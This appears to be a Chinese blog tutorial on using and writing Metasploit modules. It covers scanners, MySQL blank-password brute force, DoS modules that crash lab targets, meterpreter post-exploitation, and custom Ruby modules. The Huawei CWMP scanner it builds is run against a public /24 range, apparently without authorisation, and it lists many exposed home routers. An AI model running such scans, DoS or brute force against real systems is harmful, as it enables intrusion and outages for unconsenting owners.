Metasploit渗透测试之模块学习与开发

image.png

# 概述

Metasploit 框架采用模块化架构,即所有漏洞利用、有效载荷、编码器等都以模块形式存在。模块化架构使框架功能的扩展更加容易。任何程序员都可以开发自己的模块,并将其轻松移植到框架中。

# 1、使用辅助模块

在之前的"信息收集和扫描 "中,我们已经了解了一些辅助模块,因此在节中,将重点介绍一些最常用、最有用的辅助模块。

列出可用的辅助模块,在msfconsole中使用show auxiliary

msf6 > show auxiliary Auxiliary
=========#     Name                                                                     Disclosure Date  Rank    Check  Description-     ----                                                                     ---------------  ----    -----  -----------0     auxiliary/admin/2wire/xslt_password_reset                                2007-08-15       normal  No     2Wire Cross-Site Request Forgery Password Reset Vulnerability1     auxiliary/admin/android/google_play_store_uxss_xframe_rce                                 normal  No     Android Browser RCE Through Google Play Store XFO2     auxiliary/admin/appletv/appletv_display_image                                             normal  No     Apple TV Image Remote Control3     auxiliary/admin/appletv/appletv_display_video                                             normal  No     Apple TV Video Remote Control.....................normal  No     VSploit Zeus DNS Query Module1218  auxiliary/vsploit/pii/email_pii                                                           normal  No     VSploit Email PII1219  auxiliary/vsploit/pii/web_pii                                                             normal  No     VSploit Web PII

Metasploit 拥有 1,000 多个辅助模块,可能是目前最完整的渗透框架之一。

我们将从最有用的 HTTP 辅助模块之一 HTTP 目录扫描器开始。该模块可识别给定目录路径中是否存在有趣的目录。默认情况下,它使用 wmap_dirs.txt 字典,但也可以指定自己的字典;运行模块时,我们需要设置目标 IP 地址、范围或 CIDR 标识。

1、在此示例中,将使用Metasploitable 2作为目标靶机

msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(scanner/http/dir_scanner) > set RHOSTS 192.168.91.138
RHOSTS => 192.168.91.138
msf6 auxiliary(scanner/http/dir_scanner) > run[*] Detecting error code
[*] Using code '404' as not found for 192.168.91.138
[+] Found http://192.168.91.138:80/cgi-bin/ 403 (192.168.91.138)
[+] Found http://192.168.91.138:80/doc/ 200 (192.168.91.138)
[+] Found http://192.168.91.138:80/icons/ 200 (192.168.91.138)
[+] Found http://192.168.91.138:80/index/ 200 (192.168.91.138)
[+] Found http://192.168.91.138:80/phpMyAdmin/ 200 (192.168.91.138)
[+] Found http://192.168.91.138:80/test/ 200 (192.168.91.138)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

查看输出,我们可以看到它能够找到几个有趣的目录,例如 phpMyAdmintestdoccgi-bin 等。

2、另一个有用的辅助模块是 HTTP WebDAV 扫描器,它能检测启用了 WebDAV 的网络服务器。要使用它,请设置要使用的 PATH 和目标 IP 地址、范围或 CIDR 标识符:

msf6 auxiliary(scanner/http/dir_scanner) > use auxiliary/scanner/http/webdav_scanner 
msf6 auxiliary(scanner/http/webdav_scanner) > set PATH /dav/
PATH => /dav/
msf6 auxiliary(scanner/http/webdav_scanner) > set RHOSTS 192.168.91.138
RHOSTS => 192.168.91.138
msf6 auxiliary(scanner/http/webdav_scanner) > run[+] 192.168.91.138 (Apache/2.2.8 (Ubuntu) DAV/2) has WEBDAV ENABLED
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

3、让我们来讨论一个涉及一些额外输入的特定扫描仪模块。

MySQL Login Utility 模块是一个暴力破解模块,它会扫描目标上 MySQL 服务器的可用性,并尝试通过暴力攻击来登录数据库,这里使用 Metasploitable 3 机器作为目标:

msf6 > use auxiliary/scanner/mysql/mysql_login
msf6 auxiliary(scanner/mysql/mysql_login) > set USERNAME root
USERNAME => root
msf6 auxiliary(scanner/mysql/mysql_login) > set BLANK_PASSWORDS true
BLANK_PASSWORDS => true
msf6 auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.91.133
RHOSTS => 192.168.91.133
msf6 auxiliary(scanner/mysql/mysql_login) > run[+] 192.168.91.133:3306   - 192.168.91.133:3306 - Found remote MySQL version 5.5.20
[!] 192.168.91.133:3306   - No active DB -- Credential data will not be saved!
[+] 192.168.91.133:3306   - 192.168.91.133:3306 - Success: 'root:'
[*] 192.168.91.133:3306   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

查看输出,我们可以看到我们能够使用用户名 root 和空白密码登录 MySQL 服务器。

# 2、DoS攻击模块

在前面的章节中,我们学习了在各种攻击场景中使用 Metasploit。在本节中,我们将重点关注拒绝服务 (DoS) 攻击。 DoS 攻击的重点是使资源无法用于其设计目的。 DoS 模块可帮助攻击服务中的渗透测试人员确定客户端是否容易受到此类攻击。那么让我们详细讨论其中一些模块。

在本节中,将重点讨论两个最常受到攻击的协议:HTTP 和 SMB

# HTTP

我们首先看一下 MS15-034 HTTP 协议栈请求处理拒绝服务辅助模块。此模块检查主机是否容易受到 CVE-2015-1635 (MS15-034) 的攻击,这是 HTTP 协议栈 (HTTP.sys) 中的一个漏洞,可能导致任意代码执行。

1、这里以Metasploitable 3为目标靶机

msf6 > use auxiliary/dos/http/ms15_034_ulonglongadd 
msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > set RHOSTS 192.168.91.133
RHOSTS => 192.168.91.133
msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > run[*] DOS request sent
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

查看目标机器,我们可以验证它是否容易受到此攻击,该攻击使机器崩溃,导致蓝屏死机:

image-20230828133234438

# SMB

SMB 是另一个多年来一直受到多个漏洞攻击的协议。 SMBLoris 是针对 Microsoft Windows 操作系统的远程且未经授权的 DoS 攻击。此攻击通过发送 SMB 请求并将 NetBios 会话服务 (NBSS) 长度标头值设置为最大可能值来消耗目标中的大量内存。这种攻击影响从 Windows 2000 到 Windows 10 的所有现代 Windows 版本,可能导致关键业务服务不可用。

1、在启动 msfconsole 并使用 SMBLoris NBSS 拒绝服务辅助模块之前,我们必须更改系统中打开文件的限制。可以使用带ulimit -n命令设置打开文件数量,并将其设置为99999。然后,在msfconsole中加载模块,设置目标的IP地址,并执行攻击:

─$ ulimit -n 99999msf6 > use auxiliary/dos/smb/smb_loris
msf6 auxiliary(dos/smb/smb_loris) > set RHOST 192.168.91.133
RHOST => 192.168.91.133
msf6 auxiliary(dos/smb/smb_loris) > run[*] Starting server...
[*] 192.168.91.133:445 - 100 socket(s) open
[*] 192.168.91.133:445 - 200 socket(s) open

2、在目标机器中,你应该看到内存消耗快速上升,直到停止攻击

image-20230828134445412

DoS 模块不仅使我们能够验证系统是否容易受到攻击,还能测试针对此类攻击的补丁和缓解措施是否有效。您会对仍然容易受到这些攻击的系统数量以及更新破坏先前补丁的频率感到惊讶,从而使系统容易受到旧攻击的影响。

# 3、后渗透模块

后渗透模块可以在受感染的目标上运行,以枚举目标、升级权限、收集凭据、进入目标网络等等。 Post 模块替换了已过时且不再受支持的 Meterpreter 脚本。

Metasploit 已拥有 400 多个后渗透模块,已成为世界上最完整的后渗透工具之一,并且得益于社区,它还在快速增长。

msf6 > show post Post
====#    Name                                                         Disclosure Date  Rank       Check  Description-    ----                                                         ---------------  ----       -----  -----------0    post/aix/hashdump                                                             normal     No     AIX Gather Dump Password Hashes1    post/android/capture/screen                                                   normal     No     Android Screen Capture2    post/android/gather/hashdump........................410  post/windows/wlan/wlan_disconnect                                             normal     No     Windows Disconnect Wireless Connection411  post/windows/wlan/wlan_probe_request                                          normal     No     Windows Send Probe Request Packets412  post/windows/wlan/wlan_profile                                                normal     No     Windows Gather Wireless Profile

让我们了解一些后利用模块以及如何使用它们。在本节中,我们将使用 Windows Powershell 执行后渗透模块在 Meterpreter 会话中执行 PowerShell 脚本。

这里以Metasploitable 3目标为例,首先获取一个meterpreter会话;然后加载 Windows Powershell Execution Post 模块,设置 Meterpreter 会话ID,并指定要执行的 PowerShell 命令,比如 $Host

msf6 exploit(windows/smb/psexec) > sessions Active sessions
===============Id  Name  Type                     Information                           Connection--  ----  ----                     -----------                           ----------1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ METASPLOITABLE  192.168.91.140:4444 -> 192.168.91.133                                     3:49302 (192.168.91.133)2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ METASPLOITABLE  192.168.91.140:4444 -> 192.168.91.133                                     3:49303 (192.168.91.133)msf6 exploit(windows/smb/psexec) > use post/windows/manage/exec_powershell 
msf6 post(windows/manage/exec_powershell) > set SESSION 1
SESSION => 1
msf6 post(windows/manage/exec_powershell) > set script $Host
script => $Host
msf6 post(windows/manage/exec_powershell) > run[+] Compressed size: 936
[-] Post interrupted by the console user
[*] Post module execution completed
msf6 post(windows/manage/exec_powershell) > run [+] Compressed size: 936
[*] Name             : ConsoleHost
Version          : 2.0
InstanceId       : 6f280c21-0671-49be-8261-5d1bc8489575
UI               : System.Management.Automation.Internal.Host.InternalHostUserInterface
CurrentCulture   : en-US
CurrentUICulture : en-US
PrivateData      : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
IsRunspacePushed : False
Runspace         : System.Management.Automation.Runspaces.LocalRunspace
[+] Finished!
[*] Post module execution completed

模块的成功执行向我们显示了 $Host 命令的结果。后渗透模块使我们能够访问强大的后渗透功能,并允许我们自动执行重复的任务。因此,如果你想为 Metasploit 社区做出贡献,可以提交你的后渗透模块。

# 4、了解模块构建的基础知识

到目前为止,我们已经了解了模块的使用以及它们的强大能力。为了掌握MSF框架,必须了解模块的构建和使用。这将帮助我们根据需要快速扩展框架。在接下来的教程中,我们将了解如何使用 Ruby 脚本来构建我们自己的模块并将它们导入到框架中。

让我们从模块构建的一些基础知识开始:

1、首先是定义继承post属性类,该post模块可用导入多种功能,例如访问文件系统、注册表、WMI、LDAP等等

class MetasploitModule < Msf::Post

2、include 语句可用于将框架的特定功能包含到我们自己的模块中。例如,如果我们正在构建一个 post 模块,我们可以将其包含为:

 include Msf::Post::

3、包含PowerShell功能

 include Msf::Post::Windows::Powershell

4、然后是模块信息,例如模块名称、说明、许可证、作者、平台等

  def initialize(info = {})super(update_info(info,'Name' => 'Windows Powershell Execution Post Module','Description' => %q{This module will execute a powershell script in a meterpreter session.The user may also enter text substitutions to be made in memory before execution.Setting VERBOSE to true will output both the script prior to execution and the results.},'License' => MSF_LICENSE,'Platform' => ['windows'],'SessionTypes' => ['meterpreter'],'Author' => ['Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script'RageLtMan <rageltman[at]sempervictus>' # post module and libs]))

5、register_options 设置所需参数的默认值:

 register_options([OptString.new('SCRIPT', [true, 'Path to the local PS script or command string to execute']),])register_advanced_options([OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub']),])

6、最后,run 方法是实际代码所在的位置:

def run# Make sure we meet the requirements before running the script, note no need to return# unless errorraise 'Powershell not available' if !have_powershell?# Preprocess the Powershell::Script object with substitions from Exploit::Powershellscript = make_subs(read_script(datastore['SCRIPT']), process_subs(datastore['SUBSTITUTIONS']))# Execute in sessionprint_status psh_exec(script)print_good 'Finished!'end
end

分析内置脚本是了解有关脚本构建的更多信息的最佳方式。有相当多的文档可用于学习模块构建,但学习 Ruby编写模块的最佳方法是分析现有模块。

# 5、分析现有模块

现在我们已经在之前的教程中积累了一些有关模块构建的背景知识,下一步将是分析现有模块。

我们将分析Windows Powershell Execution Post模块,以便更深入的了解模块的构建。

在上一节中,我们已经了解了模块的基本组成,所以这里直接从主体开始。

模块的位置:/usr/share/metasploit-framework/modules/post/windows/manage/exec_powershell.rb

从分析模块 run 的方法开始,以了解它是如何工作的:

def runraise 'Powershell not available' if !have_powershell?script = make_subs(read_script(datastore['SCRIPT']), process_subs(datastore['SUBSTITUTIONS']))print_status psh_exec(script)print_good 'Finished!'end

1、首先,它会验证是否满足要求,验证PowerShell是否可用,如果不行,则抛出异常:

 raise 'Powershell not available' if !have_powershell?

2、接下来,它读取并预处理提供的 PowerShell 脚本,并将结果保存在名为 script 的变量中:

script = make_subs(read_script(datastore['SCRIPT']), process_subs(datastore['SUBSTITUTIONS']))

3、最后,它使用预处理的 PowerShell 脚本作为参数调用 psh_exec 方法,并使用print_status将输出打印到屏幕,后跟单词 Finished!并使用 print_good,它将特征[+]绿色符号附加到输出中:

    print_status psh_exec(script)print_good 'Finished!'

这是对post模块如何在框架内工作的快速介绍。你可以相应地更改现有脚本以满足你的需求。

# 6、构建自己的后渗透模块

在前面的教程中,已经学习了有关构建模块的背景知识。在本节中,我们用一个示例说明如何构建自己的模块并将其添加到MSF框架中。构建模块非常方便,因此我们能够根据需要扩展框架。

让我们构建一个小的post模块,该模块将使用 PowerShell 枚举域中的所有用户。

post 模块根据其行为进行分类,如官方文档中的以下列表所示:

Category 类别Description 描述
gatherModules that involve data gathering/collecting/enumeration. 涉及数据收集/收集/枚举的模块。
gather/credentialsModules that steal credentials. 窃取凭据的模块。
gather/forensicsModules that involve forensics data gathering. 涉及取证数据收集的模块。
manageModules that modify/operate/manipulate something on the system. Session management-related tasks such as migration, injection also go here. 修改/操作/操作系统上某些内容的模块。与会话管理相关的任务(如迁移、注入)也在到此处。
reconModules that will help you learn more about the system in terms of reconnaissance, but not about data stealing. Understand that this is not the same as gather type modules. 这些模块将帮助你在侦察方面了解有关系统的更多信息,但不会涉及有关数据窃取的信息。了解这与 gather 类型模块不同。
wlanModules that are for WLAN related tasks. 用于 WLAN 相关任务的模块。
escalateThis is deprecated, but the modules remain there due to popularity. This used to be the place for privilege escalation modules. All privilege escalation modules are no longer considered as post modules, they're now exploits. 这已被弃用,但由于受欢迎程度,模块仍然存在。这曾经是权限升级模块的地方。所有权限提升模块不再被视为post模块,它们现在都是exploit模块。
captureModules that involve monitoring something for data collection. For example, keylogging. 涉及监视某些内容以进行数据收集的模块。例如,键盘记录。

由于我们的模块将枚举域用户,因此我们应该将其放在gather类别中,因此目标目录应该是:

/usr/share/metasploit-framework/modules/post/windows/gather/

1、首先是定义继承post属性类

class MetasploitModule < Msf::Post

2、在模块中包含PowerShell功能

include Msf::Post::Windows::Powershell

3、然后我们需要填写模块信息

 def initialize(info={})super(update_info(info,'Name' => 'PowerShell Domain User Enumeration','Description' => %q{This module will enumerate user accounts in the default domain using PowerShell.},'License' => MSF_LICENSE,'Author' => [ 'Daniel Teixeira' ],'Platform' => [ 'win'],'SessionTypes' => [ 'meterpreter' ]))end

4、对于此模块,我们将使用 PowerShell [adsiSearcher] 类型加速器来搜索 AD 并列出所有用户:

user_enum = '([adsisearcher]"objectcategory=user").findall() | foreach {$_.Path} | ForEach-Object { $_.Split("=,")[1]}'

5、将结果打印输出

print_status psh_exec(user_enum)

6、将文件保存为ps_ad_users.rb,存放在/usr/share/metasploit-framework/modules/post/windows/gather/目录。完整源码如下:

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Postinclude Msf::Post::Windows::Powershelldef initialize(info={})super(update_info(info,'Name' => 'PowerShell Domain User Enumeration','Description' => %q{This module will enumerate user accounts in the default domain using PowerShell.},'License' => MSF_LICENSE,'Author' => [ 'Daniel Teixeira' ],'Platform' => [ 'win'],'SessionTypes' => [ 'meterpreter' ]))enddef runuser_enum = '([adsisearcher]"objectcategory=user").findall() | foreach {$_.Path} | ForEach-Object { $_.Split("=,")[1]}'print_status psh_exec(user_enum)print_good 'Finished!'end
end

7、要测试模块,请在目标上获取初始会话并加载模块,指定 Meterpreter 会话 ID,然后运行:

msf6 exploit(windows/smb/psexec) > sessions Active sessions
===============Id  Name  Type                     Information                           Connection--  ----  ----                     -----------                           ----------3         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ METASPLOITABLE  192.168.91.140:4444 -> 192.168.91.133                                     3:49636 (192.168.91.133)4         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ METASPLOITABLE  192.168.91.140:4444 -> 192.168.91.133                                     3:49637 (192.168.91.133)msf6 exploit(windows/smb/psexec) > use post/windows/gather/ps_ad_users 
msf6 post(windows/gather/ps_ad_users) > set session 4
session => 4
msf6 post(windows/gather/ps_ad_users) > run [+] Compressed size: 1280
[*] Administrator
Guest
vagrant
sshd
sshd_server
leah_organa
luke_skywalker
han_solo
artoo_detoo
c_three_pio
ben_kenobi
darth_vader
anakin_skywalker
jarjar_binks
lando_calrissian
boba_fett
jabba_hutt
greedo
chewbacca
kylo_ren
krbtgt
[+] Finished!
[*] Post module execution completed 

由于我们不需要成为特权用户来使用该模块,因此它在后渗透利用过程中非常有用。

# 7、构建自己的辅助模块

在写本教程的时候,Metasploit框架已经有1000多个辅助模块,而且这个数字还在增长中。因为总会有新的软件和漏洞在框架中仍然不可用。因此,在本节教程中,我们将学习如何构建自己的辅助模块。

接下来,我们将编写一个辅助模块,用于扫描启用了 CPE WAN 管理协议(CWMP)的华为家庭路由器。 CWMP 是提供商用于远程管理客户端设备的协议。它允许自动配置、软件或固件映像管理、软件模块管理、状态和性能管理以及诊断。

1、当我们使用 CWMP 默认端口 7547 连接到路由器时,会出现401认证提示

image-20230828161630179

2、通过使用curl -v 详细选项,可以看到发出的请求和来自路由器的回复:

# curl -v http://190.*.*.44:7547
*   Trying 190.*.*.44:7547...
* Connected to 190.*.*.44 (190.*.*.44) port 7547 (#0)
> GET / HTTP/1.1
> Host: 190.*.*.44:7547
> User-Agent: curl/7.88.1
> Accept: */*
> 
< HTTP/1.1 401 Unauthorized
< Connection: Keep-Alive
< WWW-Authenticate: Digest realm="HuaweiHomeGateway",nonce="59586355dbea6549298e3b46c6ba3606", qop="auth", algorithm="MD5"
< Content-Length: 0
< 
* Connection #0 to host 190.*.*.44 left intact

有了这些信息,我们可以构建一个辅助模块来扫描目标范围,并识别运行启用了CWMP的华为家用路由器。

由于 Metasploit 可能已经有一个具有我们正在寻找的基本功能的模块,因此我们应该做的第一件事就是搜索可用模块并看看我们可以怎么利用。

对于本节示例,我们将从 /usr/share/metasploit-framework/modules/auxiliary/scanner/http 文件夹中的 HTTP 版本检测辅助模块 http_version.rb 开始,该模块具备所需的功能。

3、直接看run部分的代码:

def run_host(ip)beginconnectres = send_request_raw({ 'uri' => '/', 'method' => 'GET' })fp = http_fingerprint(:response => res)print_good("#{ip}:#{rport} #{fp}") if fpreport_service(:host => rhost, :port => rport, :sname => (ssl ? 'https' : 'http'), :info => fp)rescue ::Timeout::Error, ::Errno::EPIPEensuredisconnectendend

如你所见,它非常简单:首先连接到目标,发送 HTTP GET 请求,使用 http_fingerprint 方法将结果存储在名为 fp 的变量中,然后使用 print_good 打印输出,并使用 report_service 将结果添加到当前工作区。

我们在此模块的基础上改造。

4、使用 register_options 数据结构,指定模块的默认端口号,由于我们要扫描 CWMP 服务,指定端口为 7547

register_options([Opt::RPORT(7547),
])

5、然后,我们需要比对响应并验证该设备是否是华为家庭网关。为此,创建一个名为 huawei 的新变量来保存路由器的响应:

huawei = " ( 401-Basic realm=\"HuaweiHomeGateway\" )"

6、接下来,使用 if 语句将来自目标的响应与定义的变量进行比较,如果匹配,则打印并保存结果:

if fp == huaweiprint_good("#{ip}")report_service(:host => rhost, :port => rport, :sname => (ssl ? 'https' : 'http'), :info => "CWMP - Huawei Home Gateway")
end

7、完整代码如下:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::WmapScanServerinclude Msf::Auxiliary::Scannerdef initializesuper('Name' => 'Huawei Home Gateway CWMP Detection','Description' => 'This module allows the identification of Huawei Home Gateway routers with CWMP enabled','Author' => 'Daniel Teixeira','License' => MSF_LICENSE)register_wmap_options({'OrderID' => 0,'Require' => {},})register_options([Opt::RPORT(7547),])enddef run_host(ip)beginconnectres = send_request_raw({ 'uri' => '/', 'method' => 'GET' })fp = http_fingerprint(:response => res)huawei = " ( 401-Basic realm=\"HuaweiHomeGateway\" )"if fp == huaweiprint_good("#{ip}")report_service(:host => rhost, :port => rport, :sname => (ssl ? 'https' : 'http'), :info => "CWMP - Huawei Home Gateway")endrescue ::Timeout::Error, ::Errno::EPIPEensuredisconnectendend
end

8、将代码保存到 /usr/share/metasploit-framework/modules/auxiliary/scanner/http 命名为 huawei_cwmp.rb ,在msfconsole中加载该模块,然后设置扫码的IP范围,运行该模块。

msf6 > use auxiliary/scanner/http/huawei_cwmp 
msf6 auxiliary(scanner/http/huawei_cwmp) > set RHOSTS 89.181.67.0/24
RHOSTS => 89.181.67.0/24
msf6 auxiliary(scanner/http/huawei_cwmp) > set THREADS 256
THREADS => 256
msf6 auxiliary(scanner/http/huawei_cwmp) > run[+] 89.181.67.249
[+] 89.181.67.227
[+] 89.181.67.179
[+] 89.181.67.22
[+] 89.181.67.152
[+] 89.181.67.193
[+] 89.181.67.169
[+] 89.181.67.93
[+] 89.181.67.44
[*] Scanned  29 of 256 hosts (11% complete)
[+] 89.181.67.4
[+] 89.181.67.134
[+] 89.181.67.166

9、由于代码中设置了将输出保存到当前工作区,因此可以使用 host 和 services 命令来显示扫描结果:

msf6 auxiliary(scanner/http/huawei_cwmp) > hosts Hosts
=====address        mac  name           os_name  os_flavor  os_sp  purpose  info  comments
-------        ---  ----           -------  ---------  -----  -------  ----  --------
89.181.67.4         89.181.67.4    Unknown                    router
89.181.67.22        89.181.67.22   Unknown                    router
89.181.67.44        89.181.67.44   Unknown                    router
89.181.67.49        89.181.67.49   Unknown                    router
89.181.67.61        89.181.67.61   Unknown                    router
89.181.67.76        89.181.67.76   Unknown                    router
89.181.67.93        89.181.67.93   Unknown                    router
89.181.67.109       89.181.67.109  Unknown                    device
89.181.67.134       89.181.67.134  Unknown                    router
89.181.67.152       89.181.67.152  Unknown                    router
89.181.67.166       89.181.67.166  Unknown                    router
89.181.67.169       89.181.67.169  Unknown                    router
89.181.67.179       89.181.67.179  Unknown                    router
89.181.67.193       89.181.67.193  Unknown                    router
89.181.67.216       89.181.67.216  Unknown                    router
89.181.67.227       89.181.67.227  Unknown                    router
89.181.67.241       89.181.67.241  Unknown                    device
89.181.67.249       89.181.67.249  Unknown                    routermsf6 auxiliary(scanner/http/huawei_cwmp) > services 
Services
========host           port  proto  name  state  info
----           ----  -----  ----  -----  ----
89.181.67.4    7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.22   7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.44   7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.49   7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.61   7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.76   7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.93   7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.109  7547  tcp    http  open   CPE-SERVER/1.0 Supports only GET
89.181.67.134  7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.152  7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.166  7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.169  7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.179  7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.193  7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.216  7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.227  7547  tcp    http  open   CWMP - Huawei Home Gateway
89.181.67.241  7547  tcp    http  open   CPE-SERVER/1.0 Supports only GET
89.181.67.249  7547  tcp    http  open   CWMP - Huawei Home Gateway
# 说明

本文由笔者编译,转载请注明来源。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/57673.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【设计模式-原型】

**原型模式&#xff08;Prototype Pattern&#xff09;**是一种创建型设计模式&#xff0c;旨在通过复制现有对象的方式来创建新对象&#xff0c;而不是通过实例化类来创建对象。该模式允许对象通过克隆&#xff08;复制&#xff09;来创建新的实例&#xff0c;因此避免了重新创…

QT-使用QSS美化UI界面

一、QSS简介&#xff1a; Qt Style Sheet&#xff1a;Qt样式表&#xff0c;用来自定义控件外观的一种机制&#xff0c;可以把他类比成CSS&#xff08;CSS主要功能与最终目的都是能使界面的表现与界面的元素分离&#xff09;。QSS机制使应用程序也能像web界面那样随意地改变外观…

构建后端为etcd的CoreDNS的容器集群(二)、下载最新的etcd容器镜像

在尝试获取etcd的容器的最新版本镜像时&#xff0c;使用latest作为tag取到的并非最新版本&#xff0c;本文尝试用实际最新版本的版本号进行pull&#xff0c;从而取到想的最新版etcd容器镜像。 一、用latest作为tag尝试下载最新etcd的镜像 1、下载镜像 [rootlocalhost opt]# …

基于vue框架的的高校消防设施管理系统06y99(程序+源码+数据库+调试部署+开发环境)系统界面在最后面。

系统程序文件列表 项目功能&#xff1a;设备分类,设备信息,维修人员,报修信息,维修进度,院系,消防知识,培训记录,培训信息,备件信息,备件申请,派发信息,采购信息 开题报告内容 基于Vue框架的高校消防设施管理系统开题报告 一、项目背景与意义 随着高校规模的不断扩大和校园建…

OpenCV和HALCON

OpenCV和HALCON是两种广泛用于图像处理和计算机视觉的开发库&#xff0c;它们各有优缺点&#xff0c;适合不同的应用场景。以下是两者的比较&#xff1a; 1. 开发背景与定位 OpenCV (Open Source Computer Vision Library)&#xff1a; 开源库&#xff0c;最初由Intel开发&…

【EmbeddedGUI】PFB设计说明

PFB设计说明 背景介绍 一般来说&#xff0c;要实现屏幕显示&#xff0c;就是向特定像素点写入颜色值&#xff0c;最简单的办法就是直接通过SPI接口&#xff0c;向显示器芯片的特定缓存地址&#xff0c;写入像素点。一般来说&#xff0c;显示器芯片会提供2个基本操作API&#…

qt QNetworkProxy详解

一、概述 QNetworkProxy通过设置代理类型、主机、端口和认证信息&#xff0c;可以使应用程序的所有网络请求通过代理服务器进行。它支持为Qt网络类&#xff08;如QAbstractSocket、QTcpSocket、QUdpSocket、QTcpServer、QNetworkAccessManager等&#xff09;配置网络层代理支持…

数据仓库基础概念

数据仓库 概念 数据仓库&#xff08;Data Warehouse, DW&#xff09;是一个面向主题的、集成的、相对稳定的、反映历史变化的数据集合。它是为满足企业决策分析需求而设计的。 面向主题&#xff1a;数据仓库围绕特定的主题组织数据&#xff0c;例如“销售”或“人力资源”&am…

学成在线实战

#1024程序员节&#xff5c;征文# 一、Bug修改 在实战之前&#xff0c;老师留了一个bug&#xff0c;这个bug出现的原因是因为在查询课程计划时&#xff0c;使用的是Inner join查询&#xff0c;所以当章节下面没有小节的时候&#xff0c;是查不出来数据的&#xff0c;只需要将其…

PHP企业门店订货通进销存系统小程序源码

订货通进销存系统&#xff0c;企业运营好帮手&#xff01; &#x1f4e6; 开篇&#xff1a;告别繁琐&#xff0c;企业运营新选择 嘿&#xff0c;各位企业主和创业者们&#xff01;今天我要给大家介绍一款超实用的企业运营神器——“订货通进销存系统”。在这个数字化时代&…

YOLOv5_DeepSORT实现电动自行车头盔佩戴检测系统

获取更多完整项目代码数据集&#xff0c;点此加入免费社区群 &#xff1a; 首页-置顶必看 文档说明 本文档是毕业设计——基于深度学习的电动自行车头盔佩戴检测系统的开发环境配置说明文档&#xff0c;该文档包括运行环境说明以及基本环境配置两大部分。在程序运行前请认真查…

零售行业的数字化营销转型之路

一方面&#xff0c;市场竞争激烈&#xff0c;电商平台、新兴品牌和跨界对手带来巨大压力。另一方面&#xff0c;消费者需求变化迅速&#xff0c;更加追求个性化、多元化和便捷化的购物体验&#xff0c;同时传统零售企业还面临着高成本压力&#xff0c;如租金、人力和库存等。 然…

Rsync数据复制/备份服务应用

文章目录 1. rsync概述1.1 什么是Rsync1.2 rsync的功能1.3 rsync 的功能特性1.4 Rsync 增量复制原理1.5 生产场景架构集群备份方案 2. Rsync工作方式介绍与实践2.1 本地数据传输模式2.1.1 本地数据传输模式语法2.1.2 本地数据传输模式实践 2.2 远程Shell 数据传输模式2.2.1 远程…

数据结构练习题5(链表和栈)

1环形链表 II 给定一个链表的头节点 head &#xff0c;返回链表开始入环的第一个节点。 如果链表无环&#xff0c;则返回 null。 如果链表中有某个节点&#xff0c;可以通过连续跟踪 next 指针再次到达&#xff0c;则链表中存在环。 为了表示给定链表中的环&#xff0c;评测…

全面指南:中国人工智能大模型技术创新与应用

近期&#xff0c;中国人工智能协会发布了《中国人工智能大模型技术白皮书》&#xff0c;涵盖了大模型发展历程、关键技术、困难及挑战以及未来发展的展望。 在此本文总结了下白皮书的主要内容&#xff0c;并附上白皮书~ 目录第 1 章 大模型技术概述 ........................…

基础数据结构——队列(双端队列,优先级队列,阻塞队列)

双端队列、队列、栈对比 定义特点队列一端删除&#xff08;头&#xff09;另一端添加&#xff08;尾&#xff09;First In First Out栈一端删除和添加&#xff08;顶&#xff09;Last In First Out双端队列两端都可以删除、添加优先级队列优先级高者先出队延时队列根据延时时间…

微信小程序地图功能开发:绘制多边形和标记点

在微信小程序中&#xff0c;地图功能是一个常见的需求&#xff0c;尤其是在需要展示地理位置、导航指引或区域覆盖的应用中。本文将通过一个实际的微信小程序地图组件示例&#xff0c;介绍如何在地图上绘制多边形区域和标记点&#xff0c;以及如何响应用户的点击事件。 项目背景…

V2X介绍

文章目录 什么是V2XV2X的发展史早期的DSRC后起之秀C-V2XC-V2X 和DSRC 两者的对比 什么是V2X 所谓V2X&#xff0c;与流行的B2B、B2C如出一辙&#xff0c;意为vehicle to everything&#xff0c;即车对外界的信息交换。车联网通过整合全球定位系统&#xff08;GPS&#xff09;导…

实操 maxkey对接三方文档

